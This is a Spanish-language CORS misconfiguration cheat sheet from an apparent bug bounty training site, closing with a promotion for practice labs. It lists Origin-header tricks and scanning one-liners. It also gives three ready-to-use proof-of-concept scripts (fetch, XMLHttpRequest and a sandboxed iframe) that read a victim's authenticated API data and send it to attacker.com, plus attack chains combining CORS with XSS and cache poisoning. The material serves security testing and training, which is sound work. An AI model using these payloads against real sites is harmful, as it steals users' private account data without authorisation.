Cheatsheet CORS

Cross-Origin Resource Sharing

Referencia rápida

  • CORS misconfiguration solo es explotable si Access-Control-Allow-Credentials: true
  • Wildcard (*) en ACAO no permite credenciales - no es explotable directamente
  • Si el origin se refleja exactamente, probar variaciones: null, subdominios, prefijos
  • Combinar con XSS en subdominio: el CORS confia en *.target.com + XSS en sub.target.com
  • Cache poisoning + CORS puede afectar a todos los usuarios, no solo a la victima

Deteccion de CORS misconfiguration

Origin reflejadoSi la respuesta contiene Access-Control-Allow-Origin: https://evil.com + Credentials: true = explotable

Origin: https://evil.com

Origin nullPaginas sandboxed (iframes) envian origin null

Origin: null

Subdominio del targetSi acepta cualquier subdominio, buscar XSS en subdominios

Origin: https://evil.target.com

Prefijo del dominio

Origin: https://target.com.evil.com

Sufijo del dominio

Origin: https://eviltarget.com

PoC de explotacion

Exfiltrar datos con fetch

<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(d))));
</script>

PoC con XMLHttpRequest

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true;
xhr.onload = function() {
  fetch('https://attacker.com/log?data=' + encodeURIComponent(xhr.responseText));
};
xhr.send();
</script>

Origin null via iframe sandboxiframe sandbox envia Origin: null

<iframe sandbox="allow-scripts" srcdoc="<script>
fetch('https://target.com/api/me', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/?d='+btoa(d)));
</script>"></iframe>

Metodologia de testing

Scan masivo con httpx

cat alive.txt | parallel -j 50 curl -sk -H "Origin: https://evil.com" -o /dev/null -D - {} | grep -i "access-control"

Subfinder + CORS check

subfinder -d target.com | httpx -silent | while read url; do
  curl -s -H "Origin: https://evil.com" "$url" -D - | grep -i "access-control"
done

Cadenas de ataque con CORS

XSS en subdominio + CORSSubdomain takeover + CORS es una cadena clasica

1. Encontrar XSS en sub.target.com
2. CORS acepta Origin: https://sub.target.com
3. Desde XSS: fetch datos autenticados de target.com
4. Exfiltrar via XSS callback

CORS + cache poisoning

1. Enviar request con Origin: evil.com
2. Si la respuesta se cachea CON el header ACAO
3. Otros usuarios reciben la respuesta cacheada
4. El browser permite cross-origin desde evil.com

Herramientas

CORScanner

Scanner automatizado de CORS misconfigurations en multiples dominios

python3 cors_scan.py -i targets.txt -t 50

Corsy

Detecta misconfigurations CORS con multiples variaciones de Origin

python3 corsy.py -u https://target.com

curl manual

Verificacion rapida manual de CORS headers

curl -s -H "Origin: https://evil.com" -I https://target.com/api/me | grep -i access-control

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras